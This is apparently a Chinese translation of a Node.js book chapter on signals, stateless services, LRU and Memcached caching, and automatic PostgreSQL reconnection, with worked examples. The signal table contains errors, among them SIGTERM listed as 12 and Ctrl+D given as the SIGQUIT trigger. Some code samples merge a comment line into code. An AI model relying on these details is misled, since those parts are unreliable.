信号可以用于多种原因,尽管它们最常用于告知进程需要终止。不同的平台支持不同的信号集合,甚至在操作系统之间,数字值也可能会变化,这就是为什么使用信号的字符串版本。运行 **kill -l** 命令可以获取当前机器识别的信号列表。
Table 8-2 包含了更通用的信号列表及其用途。
表 8-2. 常见信号
| 名称 | 数字 | 可处理 | Node.js 默认 | 信号目的 |
|---|---|---|---|---|
SIGHUP |
1 | 是 | 终止 | 父终端已关闭 |
SIGINT |
2 | 是 | 终止 | 终端尝试中断,如 Ctrl + C |
SIGQUIT |
3 | 是 | 终止 | 终端尝试退出,如 Ctrl + D |
SIGKILL |
9 | 否 | 终止 | 进程正在被强制杀死 |
SIGUSR1 |
10 | 是 | 启动调试器 | 用户定义信号 1 |
SIGUSR2 |
12 | 是 | 终止 | 用户定义信号 2 |
SIGTERM |
12 | 是 | 终止 | 表示优雅终止 |
SIGSTOP |
19 | 否 | 终止 | 进程正在被强制停止 |
当程序接收到信号时,通常可以选择如何处理它。两个信号 SIGKILL 和 SIGSTOP 无法处理,如 可处理 列所示。任何接收到这两个信号的程序将被终止,无论它用什么语言编写。Node.js 也为其余信号提供了一些默认操作,如 Node.js 默认 列中所列。其中大多数导致进程终止,但 SIGUSR1 信号告诉 Node.js 启动调试器。
当接收到信号时,Node.js 可以很容易地处理这些信号。就像处理未捕获的异常和未处理的拒绝一样,process 发射器还会发出以接收到的信号命名的事件。为了证明这一点,在你的终端中创建一个名为 /tmp/signals.js 的新文件,并将内容添加到 示例 8-1 中。
示例 8-1. /tmp/signals.js
#!/usr/bin/env node
console.log(`Process ID: ${process.pid}`);
process.on('SIGHUP', () => console.log('Received: SIGHUP'));
process.on('SIGINT', () => console.log('Received: SIGINT'));
setTimeout(() => {}, 5 * 60 * 1000); // keep process alive
在终端窗口中执行该文件。它会打印一个带有进程 ID 的消息,然后在终止前最多保持五分钟。一旦启动程序,请尝试使用 Ctrl + C 键盘快捷键终止进程。无论你怎么尝试,都无法终止进程!当你使用 Ctrl + C 快捷键时,你的终端会向进程发送 SIGINT 信号。现在退出进程的默认操作已被你的新信号处理程序替换,它只会打印接收到的信号名称。注意屏幕上打印的进程 ID,并切换到新的终端窗口。
在这个新的终端窗口中,你将执行一个命令,向你的进程发送一个信号。运行以下命令向你的进程发送 SIGHUP 信号:
$ kill -s SIGHUP <PROCESS_ID>
kill 命令是一个方便的实用程序,用于向进程发送信号。由于信号最初是用来杀死进程的,这个名字有点残留了下来,kill 命令就是我们今天使用的命令。
结果表明,Node.js 进程还能够向其他进程发送信号。并且,作为将信号称为 kill 的传统的一种致敬,用于发送信号的方法被命名为 process.kill()。在退出之前,在你的终端中运行以下命令以运行一个简单的 Node.js 单行命令:
$ node -e "process.kill(<PROCESS_ID>, 'SIGHUP')"
再次在你运行的第一个应用程序的控制台中看到 SIGHUP 消息。
现在你已经完成了信号的实验,可以准备终止原始进程了。在你的第二个终端窗口中运行以下命令:
$ kill -9 <PROCESS_ID>
此命令将向您的进程发送SIGKILL信号,立即终止它。 -9参数告诉kill命令使用信号的数字版本。SIGKILL通常是第九个信号,因此这个命令应该在几乎所有地方都能正常工作。请注意,SIGKILL命令不能为其安装信号处理程序。事实上,如果您试图在process事件发射器上监听该事件,将会抛出以下错误:
Error: uv_signal_start EINVAL
作为信号的实际应用,如果应用程序接收到信号,它可以以优雅的方式开始关闭自身。这可能包括拒绝处理新连接、传输关闭度量和关闭数据库连接。当 Kubernetes pod 被终止时,Kubernetes 停止向该 pod 发送请求,并发送SIGTERM信号。Kubernetes 还启动一个 30 秒的计时器。在此期间,应用程序可以执行必要的工作以优雅地关闭。一旦进程完成,它应该终止自身,以便 pod 将会下降。但是,如果 pod 未终止自身,Kubernetes 将会向其发送SIGKILL信号,强制关闭应用程序。
构建无状态服务
由于容器的瞬时性质和您和我的编写的错误代码,将状态保持在 Node.js 服务之外非常重要。如果状态不在应用代码之外保持,则该状态可能永远丢失。这可能导致数据不一致,用户体验差,甚至在错误的情况下可能导致财务损失。
唯一真相源是一种哲学,即任何特定数据必须有一个唯一的位置作为其归属地。如果这些数据存储在两个不同的位置,那么这两个来源可能会分歧(例如,在一个地方成功更新操作,但在另一个地方失败)。如果这些数据仅存在于应用程序进程中,并且该进程崩溃,那么数据的唯一副本也就刚刚丢失了。
保持进程中的所有状态不可避免,但是将真相源头从进程中隔离是可行的。然而,有一个警告,即如果客户端尝试通过联系服务来修改状态,并且发生导致数据丢失的某种故障,那么服务就需要用适当的错误回应客户端。当这种情况发生时,修改后的状态的责任就转移到了客户端身上。这可能会导致向用户显示错误,并提示他们再次点击“保存”按钮。
很难确定只有应用程序进程内部是唯一真实的信息源的情况,或者进程崩溃可能导致数据不一致的情况。考虑一个 Node.js 进程接收请求并需要通知两个上游服务,数据存储 #1 和 数据存储 #2,账户余额已经减少。图 8-1 是 Node.js 应用程序可能执行此操作的示意图。

图 8-1. 隐藏状态
这种情况下的等效应用程序代码可能如下所示:
server.patch('/v1/foo/:id', async (req) => {
const id = req.params.id;
const body = await req.body();
await fetch(`http://ds1/foo/${id}`, { method: 'patch', body });
doSomethingRisky();
await fetch(`http://ds2/foo/${id}`, { method: 'patch', body });
return 'OK';
});
在正常路径中,应用程序接收请求,通知第一个服务,通知第二个服务,最后向客户端响应操作成功。在悲伤的路径中,应用程序通知第一个服务,然后在通知第二个服务之前崩溃。客户端收到失败响应并知道发生了一些不好的事情。然而,系统留下了不一致的状态。
在这种情况下,Node.js 应用程序,尽管是暂时的,是唯一知晓系统状态的实体。一旦进程崩溃,两个后端服务就会处于不一致状态。管理这类情况可能是一个非常困难的任务。我鼓励您阅读 Martin Kleppmann 的《设计数据密集型应用》以获取有关分布式事务的更多信息。
避免内存泄漏
在应用程序进程内维护状态不仅对数据风险高,对进程本身也是风险。想象一个声明用于存储账户信息的单例 Map 实例的服务。这样的应用程序可能会有以下代码:
const accounts = new Map();
module.exports.set = (account_id, account) => {
accounts.set(account_id, account);
};
为什么可能构建这样的应用程序?嗯,它非常快。将数据变更写入内存数据结构始终比写入外部服务快数个数量级。在 Node.js 中创建可变全局变量也非常容易。
这个示例可能会出现哪些问题呢?首先是持久性问题。当应用程序重新启动时,数据将如何传输到新的进程?一种方法是监听SIGTERM信号,然后将内容写入文件系统。正如您之前看到的,文件系统在容器重新启动之间不容易持久化,尽管这是可能的。还有其他导致进程终止的情况,正如您在“Node.js 进程的死亡”中所见。即使应用程序在怀疑终止时向另一个服务发送地图的表示,也不能保证外部服务仍然可达。
这种方法的另一个问题是潜在的内存泄漏。accounts映射具有无界大小,并且可能增长,直到进程消耗主机的所有空闲内存!例如,可能会存在一个错误,account_id值轻微更改,导致每个set()调用插入一个新记录。或者攻击者可能会创建许多假帐户来填充值。
大多数潜在的内存泄漏不像这个例子那么容易发现。这里有一个极为简化的例子,来自每周下载量超过400,000的cls-hooked包[⁴]:
process.namespaces = {};
function createNamespace(name) {
process.namespaces[name] = namespace;
}
function destroyNamespace(name) {
process.namespaces[name] = null;
}
此包提供了继续本地存储的实现,特别是在异步回调之间维护“会话”对象,由“命名空间”标识。例如,当接收到 HTTP 请求时可以创建会话,将请求用户的信息添加到会话对象中,然后,在异步数据库调用完成时,可以再次查找会话。
在这种情况下维护状态的全局变量是process.namespace。内存泄漏的问题在于命名空间标识符从全局变量中永远不会被删除;而是被设置为null。不同的应用程序以不同的方式使用这个包,但是如果一个应用程序为每个传入的 HTTP 请求创建一个新的命名空间,那么它最终会导致内存线性增长到流量速率。
有界进程缓存
一个应用程序进程内可以接受存储的状态类型是缓存数据。缓存表示数据的副本,计算起来可能很昂贵(CPU 成本),或者检索起来可能很昂贵(网络请求时间)。在这种情况下,缓存故意不是真相来源。缓存将数据存储为键/值对,其中键是缓存资源的唯一标识符,值是资源本身,经过序列化或其他方式。这种类型的数据可以存储在进程内,因为真相来源在进程终止后仍然安全。
处理缓存时,应用程序首先确定要查找的数据。例如,这些数据可能是具有标识符123的帐户。确定标识符后,应用程序将与缓存进行协商。如果缓存包含资源,如account:123,则使用该资源,并继续处理数据。这种情况称为缓存命中。从进程内缓存中查找数据仅需微秒。
但是,如果资源在缓存中不存在,则应用程序需要执行较慢的数据查找,可能需要几秒钟的时间。这被称为缓存未命中。当发生这种情况时,应用程序执行所需的任何缓慢计算或网络请求。一旦获取结果,应用程序然后将值设置在缓存中,并继续使用新需要的资源。当再次需要资源时,它再次查询缓存。
只有在无法满足性能要求时才应使用缓存。缓存给应用程序增加了额外的复杂性。缓存还引入了这样一种情况,即缓存中的数据副本可能已经过时,与真相源不符。例如,account:123资源可能已被修改为余额为 0,尽管缓存版本仍然包含 100 的余额。
知道何时更新或从缓存中删除条目是一种称为缓存失效的主题。对于这个问题,并没有完美的解决方案,只有哲学上的解决方案。通常,这成为一个业务问题,即产品对于过期缓存的容忍度。显示稍有过时的账户余额可以吗?可能可以。允许玩家花费超过其账户中的硬币可以吗?可能不行。
尽管缓存失效的哲学因组织而异,但避免内存泄漏的要求更为普遍。可以肯定的是,缓存不应该增长到导致进程崩溃的程度。
应用程序在有限内存环境中运行。主机机器总是有其可用的物理 RAM 的最大限制。容器和虚拟机则有更少的可用内存。当 Node.js 进程消耗过多内存时,要么无法获得更多内存,要么像 Docker 这样的监督进程可能会在达到阈值后终止进程。内存是以消耗的字节数来衡量的,而不是缓存记录的数量,因此最好使用一种工具,根据数据的字节需求限制进程内缓存大小。
lru-cache包是一个用于执行此操作的流行工具。它是一个键/值存储,可以配置为使用插入到缓存中的字符串或缓冲区的长度来粗略估算这些条目的内存需求。^(5) 使用这个包,你可以设置值,获取值,并在值丢失时执行自己的查找。该包甚至接受一个过期时间,以便删除超过一定时间的条目。名称中的 LRU 代表Least Recently Used,这是一种常见的缓存实践,用于驱逐长时间未访问的键,希望这些键的缓存未命中不会导致性能损失过高。
现在你对内存缓存背后的一些理念有了一定了解,你可以准备使用你自己的内存缓存。创建一个名为caching/server.js的新文件,并将 Example 8-2 中的内容添加到其中。这个文件将作为一个迷你代理用于 GitHub API 查找账户详情。
示例 8-2. caching/server.js
#!/usr/bin/env node
// npm install fastify@3.2 lru-cache@6.0 node-fetch@2.6 const fetch = require('node-fetch');
const server = require('fastify')();
const lru = new (require('lru-cache'))({ 
max: 4096,
length: (payload, key) => payload.length + key.length,
maxAge: 10 * 60 * 1_000
});
const PORT = process.env.PORT || 3000;
server.get('/account/:account', async (req, reply) => {
return getAccount(req.params.account);
});
server.listen(PORT, () => console.log(`http://localhost:${PORT}`));
async function getAccount(account) {
const cached = lru.get(account); 
if (cached) { console.log('cache hit'); return JSON.parse(cached); }
console.log('cache miss');
const result = await fetch(`https://api.github.com/users/${account}`);
const body = await result.text();
lru.set(account, body); 
return JSON.parse(body);
}
缓存将保存大约 4kb 的数据,最多达到 10 分钟。
在发出请求之前,总是先查询缓存。
每当检索数据时,缓存都会被更新。
在终端窗口中初始化 npm 项目,安装依赖项,并运行服务器。在另一个终端窗口中运行以下curl命令:
$ node caching/server.js
$ time curl http://localhost:3000/account/tlhunter
$ time curl http://localhost:3000/account/nodejs
$ time curl http://localhost:3000/account/tlhunter
注意
在撰写本文时,GitHub API 的每个响应约为 1.2 KB。如果未来有所改变,可能需要配置服务器以具有更大的 LRU 大小。尝试设置足够大,以至少容纳两个结果。此外,小心不要受到 GitHub API 的速率限制。当发生这种情况时,你将收到失败的响应。
当你运行第一个命令时,你应该在服务器终端窗口看到一个cache miss消息。该命令在我的机器上大约需要 200ms 完成。这是因为server.js应用正在向 GitHub 服务器发出网络请求。当你发出第二个请求时,你应该看到同样的情况发生,另一个cache miss消息,并且可能需要 200ms 完成的请求。然而,当你运行第三个命令时,你应该看到一些不同的东西,具体来说是一个cache hit消息,响应应该更快(在我的情况下,是 20ms)。
接下来,在这些网址中的一个中替换你的用户名并发起另一个请求。然后,使用一些其他条目,如express和fastify。最后,再回到最初的tlhunter账户。这时,你应该会看到请求导致了另一个cache miss。这是因为lru-cache从缓存中删除了原始的tlhunter条目,由于新条目替换了它,并且缓存已满。
此解决方案存在一些缺陷。一个问题是当 GitHub API 返回错误时会暴露出来。发生这种情况时,错误响应将被插入到缓存中,理想情况下,当这种情况发生时不应插入任何条目。另一个可能的缺点(取决于你的观点)是,缓存存储了资源的 JSON 表示形式,而不是解析后的对象。这导致每次从缓存中检索条目时都会进行冗余的 JSON.parse() 调用。在缓存库中存储 JSON 字符串确实使得计算内存使用更容易(字符串长度)。它还防止了对缓存对象的意外变异。
另一个问题是,对同一用户名的并行请求将导致同时的缓存未命中,随后是对 GitHub 的并行出站请求。这可能并不是什么大问题,但有时使用缓存来减少对第三方 API 的出站请求是很好的。例如,如果向 GitHub 发送过多请求,你将开始被限制速率。因此,可能需要更强大的解决方案。
还有另外两个与此缓存相关的问题,专门处理进程内部的数据缓存。首先是,如果进程重新启动,那么缓存将随之丢失。在高吞吐量环境中,服务重新启动将意味着上游服务将收到突发的流量。例如,你之前构建的 web-api 服务可能正在缓存来自 recipe-api 的结果。一旦 web-api 实例重新启动,recipe-api 实例将接收增加的流量,直到缓存重新填充为止。
另一个缺点是,该缓存仅由单个服务实例使用!如果你有一组 100 个 web-api 实例,每个实例至少每 10 分钟都需要为同一个 recipe-api 资源发送一次请求。每个服务还包含冗余的缓存,浪费了整体可用内存。可以通过运行服务器的第二个实例并对其进行请求来看到这个问题:
$ PORT=4000 node server.js
$ time curl http://localhost:4000/account/tlhunter
在这种情况下,对端口 4000 上监听的服务器实例的请求将永远不会使用另一个服务器实例的缓存。解决这两个问题的最简单方法是使用外部缓存服务。
使用 Memcached 进行外部缓存
在进行缓存查找时存在许多权衡考虑因素。速度、持久性、过期配置能力以及缓存在服务之间的共享方式都是重要问题。以下是三种不同缓存策略的快速比较:
内存缓存
这是在前一节中讨论的方法。这是最快的方法,但是在崩溃和部署之间缓存会被销毁。应用程序版本之间的数据结构更改不会产生副作用。在这里进行的查找可能不到一毫秒。
外部缓存
这是本节中介绍的方法。它比内存中的缓存慢,但应该比直接访问源数据更快。它还防止缓存在崩溃和部署之间被清除。必须在应用程序版本之间维护数据结构,或者重命名缓存键。在这里发生的查找可能需要几十毫秒。
无缓存
在这种方法中,应用程序直接与真相源进行通信。通常这是最慢和最简单的实现方式。由于没有缓存值可以从真相源漂移,所以不存在数据完整性问题的风险。使用这种策略进行的查找可能需要任意数量的时间。
就像数据库一样,如果允许异构的服务集合读写缓存服务,可能会发生一些糟糕的事情。例如,如果组织内的一个团队拥有 recipe-api,另一个团队拥有 web-api,这些团队可能没有沟通缓存数据结构在发布期间如何变化的情况。这可能导致冲突的期望和运行时错误。想想看:通过 HTTP 公开的 API 只是一个 API 表面;如果应用程序共享数据库表或缓存,现在就有了多个 API 表面!
介绍 Memcached
其中一个最成熟的缓存服务是 Memcached。它是一个可靠的、简单的缓存,可以分布在多台机器上。在实例化 Memcached 实例时,您需要指定实例可以消耗的最大内存量,Memcached 会自动按照上一节中介绍的 LRU 方法清除新添加的条目。
键可以长达 250 字节,值可以长达 1MB。每个单独的键可以设置自己的过期时间。
Memcached 提供了几个命令作为其 API 的一部分。其中一个最明显的命令是 set(key, val, expire),它将一个键设置为一个值。它还有一个对应的 get(key1[, key2…]) 命令用于检索数据。还有 add(key, val, expire),它也设置数据,但只有在键不存在时才会成功。incr(key, amount) 和 decr(key, amount) 允许您原子地修改数字值,但只有在它们已经存在时才能操作。甚至有一个 replace(key, val, expire) 命令,它只会在值已经存在时才设置一个值。delete(key) 命令允许您删除单个键,flush_all() 命令则移除所有键。
有两个命令用于在 Memcached 中执行字符串操作。第一个是 append(key, val, expire),第二个是 prepend(key, val, expire)。这些命令允许应用程序向现有值追加和前置一个字符串。
还有两个额外的命令用于进行原子更改,其中一个客户端希望确保另一个客户端在不知情的情况下没有更改条目。第一个是gets(key),它返回数据的值和一个“CAS”(比较和设置)id。这是一个整数,每次对键进行操作时都会更改。然后可以将此值与相关的cas(key, val, cas_id, expire)命令一起使用。该命令将设置键为新值,但仅当现有值具有相同的 CAS id 时才会执行。
存在许多其他命令可用于获取关于服务器的统计信息,检索服务器设置以及其他调试缓存的信息,尽管您的应用程序可能不需要使用它们。
运行 Memcached
就像您使用过的大多数服务器一样,Memcached 可以在 Docker 容器中运行以方便使用。
像许多其他 Docker 镜像一样,Memcached 还包括一个 Alpine 变体,以消耗更少的资源。在实例化 Memcached 服务时,可以传递几个标志,包括-d以守护进程化(在 Docker 容器中不需要),-m以设置最大内存量(非常有用),以及-v以启用日志记录(此标志可以重复以增加详细信息)。
在终端窗口中运行以下命令来运行 Memcached:
$ docker run \
--name distnode-memcached \
-p 11211:11211 \
-it --rm memcached:1.6-alpine \
memcached -m 64 -vv
此 Memcached 实例限制为 64MB 的内存,并将在您的终端中输出大量的调试信息。端口 11211 是默认的 Memcached 端口。由于 Docker 命令具有-it和--rm标志,当您完成时,可以使用 Ctrl + C 终止它,并且容器将从系统中删除。
在运行多个 Memcached 实例时,实例本身并不知道彼此的存在。相反,客户端直接连接到不同的实例,并使用客户端端哈希算法来确定哪个服务器包含特定的键。理想情况下,这意味着每个客户端对于相同的键名使用相同的服务器,但不同的客户端库可能会决定将特定的键存储在不同的服务器上,这可能会导致缓存未命中和数据冗余。
缓存数据与 Memcached
现在您的 Memcached 服务正在运行,您可以从 Node.js 应用程序与其进行交互了。对于本示例,请复制并粘贴您在前一节中创建的现有caching/server.js文件到caching/server-ext.js。接下来,修改文件以类似于示例 8-3。
示例 8-3. caching/server-ext.js
#!/usr/bin/env node
// npm install fastify@3.2 memjs@1.2 node-fetch@2.6 const fetch = require('node-fetch');
const server = require('fastify')();
const memcache = require('memjs')
.Client.create('localhost:11211'); 
const PORT = process.env.PORT || 3000;
server.get('/account/:account', async (req, reply) => {
return getAccount(req.params.account);
});
server.listen(PORT, () => console.log(`http://localhost:${PORT}`));
async function getAccount(account) {
const { value: cached } = await memcache.get(account); 
if (cached) { console.log('cache hit'); return JSON.parse(cached); }
console.log('cache miss');
const result = await fetch(`https://api.github.com/users/${account}`);
const body = await result.text();
await memcache.set(account, body, {}); 
return JSON.parse(body);
}
实例化 Memcached 连接。
.get()调用现在也是异步的。
.set()调用也是异步的。
需要对服务进行一些代码更改,以将其从内存 LRU 缓存迁移到memjs包。对于这个例子,.get()和.set()方法的参数基本与之前的 LRU 缓存相同。最大的变化在于现在这些调用是异步的,并且它们的结果必须被等待。.get()方法解析一个对象,缓存的值在.value属性上为一个缓冲区。JSON.parse()方法触发缓冲区的.toString()方法,因此不需要额外的数据转换。.set()方法需要作为参数的第三个空options对象,因为memjs包执行回调到 Promise 的转换方式。
现在,您的新服务已经准备好,在两个单独的终端中执行两个服务的副本。在第一个终端中,使用默认端口 3000,在第二个终端中,覆盖端口为 4000,如下所示:
$ node caching/server-ext.js
$ PORT=4000 node caching/server-ext.js
接下来,再次向这两个服务发出请求。先对第一个服务进行两次请求,然后再对第二个服务进行请求:
$ time curl http://localhost:3000/account/tlhunter # miss
$ time curl http://localhost:3000/account/tlhunter # hit
$ time curl http://localhost:4000/account/tlhunter # hit
在这个例子中,第一个请求导致缓存未命中。服务向 GitHub 发出出站请求,然后填充缓存并返回。在我的情况下,这大约需要 300ms。接下来,对第一个服务的第二次请求将导致缓存命中。在我的情况下,这个操作大约需要 30ms,比我只运行内存 LRU 缓存的过程稍慢一点。最后,对第二个服务的第三次请求也将导致缓存命中,尽管该服务尚未向 GitHub 发出请求。这是因为这两个服务都使用了同一个共享的 Memcached 缓存条目。
这就是关于 Memcached 的全部内容!随时可以通过切换到它们的终端窗口并按 Ctrl + C 来清理正在运行的 Node.js 服务和 Memcached 服务器。
数据结构变化
由于缓存的资源可能会在发布版本之间发生变化,有时需要在键的名称前缀中加上版本号,以表示被缓存的数据结构的版本。例如,考虑一个将以下对象存储在缓存中的应用程序:
{
"account": {
"id": 7,
"balance": 100
}
}
或许这种缓存条目的表示方式被应用程序的几个不同版本/发布所使用。我们将这些版本称为r1..r5。然而,对于应用程序的r6版本,一个工程师决定改变缓存对象的形状,以使其更高效,并处理账户 ID 从数字到字符串的预期迁移。
工程师选择这样表示缓存条目:
{
"id": "7",
"balance": 100
}
在这种情况下,多余的包装已被移除,并且id属性的数据类型已更改为字符串。通过改变缓存条目的表示方式,可能会发生一些不好的事情!
例如,假设这些记录在缓存中的关键名称遵循模式account-info-<ACCOUNT_ID>。在这两个对象版本的情况下,关键名称将是account-info-7。
读取应用程序版本 r1..r5 中的缓存的代码如下:
async function reduceBalance(account_id, item_cost) {
const key = `account-info-${account_id}`;
const account = await cache.get(key);
const new_balance = account.account.balance - item_cost;
return new_balance;
}
然而,在应用程序的发布 r6 及以后版本中,代码将略有改动以适应新的缓存条目:
const new_balance = account.balance - item_cost;
这意味着当应用程序的发布 r6 部署时,它将读取缓存并抛出错误,声明 account.balance 未定义。这是因为缓存中现有条目仍然具有包装对象存在。在这种情况下,您可能会考虑在部署新发布之前清除缓存。不幸的是,在 r6 实例部署之前,仍然存在 r5 实例写入缓存的风险。
在这种情况下,最简单的生存方式是修改缓存条目的名称,以包含表示对象版本的版本号。这个版本号不需要与应用程序的发布版本相似。事实上,它不应该相似,因为应用程序可能在大多数发布中保持相同的数据结构。相反,每种资源类型在其表示更改时应该获得自己的新版本。
举个例子,键名可以从 account-info-<ACCOUNT_ID> 变更为 account-info-<VERSION>-<ACCOUNT_ID>。在应用程序从 r5 更改到 r6 的情况下,account-info 对象版本可能会从 v1 变更为 v2。这将导致两个单独的缓存条目,一个名为 account-info-v1-7,另一个名为 account-info-v2-7。这很方便,因为无论部署多慢,两个单独的应用程序发布不会有冲突的缓存数据。不幸的是,现在意味着需要重新查找缓存中的所有 account-info 对象。
另一种解决方案,而不是更改键名并丢失缓存值,是将数据从旧形式“迁移”到新形式。这允许不同的应用程序发布处理缓存对象的不同表示。"Knex 中的模式迁移"更详细地介绍了这种迁移概念,尽管是从关系数据库的角度来看。
数据库连接弹性
Node.js 应用程序通常维护与一个或多个数据库的长连接,以使其保持无状态。数据库连接通常通过 TCP 网络连接进行。不幸的是,这些连接偶尔会中断。许多不同的情况会导致连接断开,例如数据库升级、网络变更或甚至是暂时的网络中断。
当连接断开时,您的应用程序可能会瘫痪。也许服务仍然可以执行一些操作。例如,如果有一个用于检索资源的端点,并且应用程序仍然可以连接到缓存服务但无法连接到数据库,那么缓存资源的请求应该是合理成功的。
然而,当连接不可用且必须向数据库写入或读取数据时,你的应用程序将陷入棘手的境地。此时,简单地拒绝请求可能是合理的,比如使用 HTTP 503 服务不可用错误。
运行 PostgreSQL
在这一节中,你将使用 PostgreSQL 数据库。这里介绍的大部分技术同样适用于其他 SQL 和 NoSQL 数据库。Postgres 是一个非常强大和流行的数据库系统,在你的职业生涯中很可能会使用,因此它将成为一个很好的试验对象。运行以下命令通过 Docker 启动 Postgres:
$ docker run \
--name distnode-postgres \
-it --rm \
-p 5432:5432 \
-e POSTGRES_PASSWORD=hunter2 \
-e POSTGRES_USER=user \
-e POSTGRES_DB=dbconn \
postgres:12.3
自动重新连接
你将首先学习与数据库连接恢复能力相关的第一个主题,即自动重新连接到数据库。不幸的是,连接有时会失败,当失败发生时,应用程序自动重新连接将是非常方便的。
理论上,如果数据库连接失败,你的应用程序可能会终止自身。假设你设置了检测此类终止的基础设施,例如健康检查端点,那么你的 Node.js 进程可以自动重新启动。尽管如此,这样的基础设施并非每个组织都有。另一个需要考虑的是,这样做并不一定会提升整体应用程序的健康状况。例如,如果一个进程终止并花费 10 秒来失败健康检查,那么这些是失败请求的 10 秒。如果一个应用程序失去了与数据库的连接但能够重新连接,那将代表一个潜在的更短的停机时间。因此,开发者通常选择实现重新连接逻辑。
并非每个数据库包都提供重新连接到数据库的能力,但原理在各处基本相同。在本节中,你将为 pg 包构建一个重新连接模块,这种方式也适用于其他包。
首先,你需要创建一个应用程序文件。这个文件将类似于一个相当典型的 Web 应用程序,其中一个请求处理程序发送 SQL 查询。但是,它不直接需要数据库包,而是需要重新连接模块。创建一个名为 dbconn/reconnect.js 的新文件,并从 示例 8-4 开始编写其内容。
示例 8-4. dbconn/reconnect.js,第一部分(共两部分)
#!/usr/bin/env node
// npm install fastify@3.2 pg@8.2 const DatabaseReconnection = require('./db.js'); 
const db = new DatabaseReconnection({
host: 'localhost', port: 5432,
user: 'user', password: 'hunter2',
database: 'dbconn', retry: 1_000
});
db.connect(); 
db.on('error', (err) => console.error('db error', err.message));
db.on('reconnect', () => console.log('reconnecting...')); 
db.on('connect', () => console.log('connected.'));
db.on('disconnect', () => console.log('disconnected.'));
这加载了来自 db.js 文件的 DatabaseReconnection 模块。
这个调用启动数据库连接。
这些过于冗长的事件侦听器仅供教育目的使用。
这个文件开始得像您可能已经编写过的许多应用程序一样。DatabaseReconnection类接受与pg包使用的相同配置设置。实际上,它会盲目地传递连接设置。retry值将专门用于您即将编写的重新连接逻辑。在这种情况下,它被配置为每秒重试一次数据库连接,直到成功。
对于生产应用程序来说,不需要大量的事件监听器列表,尽管当然需要处理error事件,否则将抛出错误。这些事件监听器稍后将用于说明模块如何通过重新连接流程。
该文件还不完全准备好,因为您仍然需要添加一些请求处理程序。将示例 8-5 中的内容添加到文件中。
示例 8-5. dbconn/reconnect.js,第二部分(共两部分)
const server = require('fastify')();
server.get('/foo/:foo_id', async (req, reply) => {
try {
var res = await db.query( 
'SELECT NOW() AS time, $1 AS echo', [req.params.foo_id]);
} catch (e) {
reply.statusCode = 503;
return e;
}
return res.rows[0];
});
server.get('/health', async(req, reply) => { 
if (!db.connected) { throw new Error('no db connection'); }
return 'OK';
});
server.listen(3000, () => console.log(`http://localhost:3000`));
没有表的基本参数化查询
一个示例健康端点
您的 Web 服务器现在注册了两个不同的 HTTP 端点。第一个端点GET /foo/:foo_id利用了数据库连接。在这种情况下,它运行一个不需要表的示例查询,选择了一个不需要创建模式的示例。它只是展示数据库连接是否正常工作。在此处理程序中,如果查询失败,db.query()的调用将被拒绝,并且处理程序将返回错误。但是,如果数据库查询成功,它将返回一个带有time和echo属性的对象。
用于GET /health的第二个请求处理程序是一个健康端点。在这种情况下,端点利用了DatabaseReconnection类实例上的一个属性,称为.connected。这是一个布尔属性,声明连接是否正常工作。在这种情况下,如果连接断开,健康端点将失败;如果连接正常,健康端点将通过。
使用这种方法,Kubernetes 可以配置以每隔几秒钟击中健康端点,并且还可以配置在端点连续失败三次时重新启动服务。这将给应用足够的时间重新建立连接,使实例保持运行。另一方面,如果连接无法及时建立,Kubernetes 将终止该实例。
一旦您对应用程序文件进行了这些更改,您现在可以开始处理DatabaseReconnection类。创建一个名为dbconn/db.js的第二个文件,并从示例 8-6 中添加内容开始。
示例 8-6. dbconn/db.js,第一部分(共三部分)
const { Client } = require('pg');
const { EventEmitter } = require('events');
class DatabaseReconnection extends EventEmitter {
#client = null; #conn = null;
#kill = false; connected = false;
constructor(conn) {
super();
this.#conn = conn;
}
该文件的第一部分并不是太激动人心。由于该模块包装了pg包,因此需要首先引入它。DatabaseReconnection类实例是EventEmitter的一个实例,因此加载并扩展了内置的events模块。
类依赖于四个属性。前三个是私有属性。第一个是client,它是pg.Client类的一个实例。这是处理实际数据库连接和分发查询的对象。第二个属性是conn。它包含数据库连接对象,并且需要存储,因为新连接将需要使用它。第三个属性是kill,当应用程序希望从数据库服务器断开连接时设置。它用于确保意图关闭的连接不会尝试重新建立另一个连接。最后一个公共属性是connected,告诉外部世界数据库是否连接。它可能不会百分之百准确,因为断开的连接可能不会立即导致值的变化,但对于健康端点是有用的。
构造方法接受连接对象,实例化事件发射器,然后设置私有属性。令人兴奋的部分要等到连接实际启动时才会发生。
一旦您完成了向文件添加第一组内容,您就可以继续。现在将来自示例 8-7 的内容添加到文件中。
示例 8-7。dbconn/db.js,三部分之二
connect() {
if (this.#client) this.#client.end(); 
if (this.kill) return;
const client = new Client(this.#conn);
client.on('error', (err) => this.emit('error', err));
client.once('end', () => { 
if (this.connected) this.emit('disconnect');
this.connected = false;
if (this.kill) return;
setTimeout(() => this.connect(), this.#conn.retry || 1_000);
});
client.connect((err) => {
this.connected = !err;
if (!err) this.emit('connect');
});
this.#client = client;
this.emit('reconnect');
}
终止任何现有连接。
当连接结束时尝试重新连接。
文件的这一部分定义了一个名为connect()的方法,并且是DatabaseReconnection类中最复杂的部分。为了将功能压缩到一个小空间中,已经做了许多空白字符的滥用;在适当的位置添加新行。
当connect()方法运行时,首先检查是否已经存在客户端。如果是,则终止现有连接。接下来,它检查是否已设置kill标志。此标志稍后在disconnect()方法中设置,并用于防止在手动断开连接后重新连接。如果标志已设置,则方法返回,不执行其他工作。
接下来,实例化一个新的数据库连接,并将其设置为名为client的变量。client.on('error')调用将来自数据库连接的任何错误调用提升到包装类,以便应用程序可以监听它们。该类还监听end事件。该事件在数据库连接关闭时触发,包括手动终止连接、网络中断或数据库死机时。在此事件处理程序中,会发出disconnect事件,将connection标志设置为 false,并且如果连接不是手动杀死的,将在重试周期过后再次调用connect()方法。
随后,尝试数据库连接。如果连接成功,则设置connected标志为 true,失败则为 false。同时在成功时会触发一个connect事件。如果连接失败,底层的pg包会发出一个end事件,这就是为什么这个事件处理程序不调用connect()方法的原因。
最后,client被分配为类属性,并发出了reconnect事件。
保存这些更改后,你已经准备好文件的最后部分了。在文件末尾添加 示例 8-8。
示例 8-8. dbconn/db.js,三部分中的第三部分
async query(q, p) {
if (this.#kill || !this.connected) throw new Error('disconnected');
return this.#client.query(q, p);
}
disconnect() {
this.#kill = true;
this.#client.end();
}
}
module.exports = DatabaseReconnection;
文件的这一部分暴露了另外两个方法。第一个是query()方法,大部分情况下将查询传递给封装的pg.Client实例。然而,如果它知道连接没有准备好,或者知道连接正在被关闭,它将拒绝带有错误的调用。请注意,这个方法并没有完全支持整个pg.Client#query()接口;如果在实际项目中使用,请加以改进。
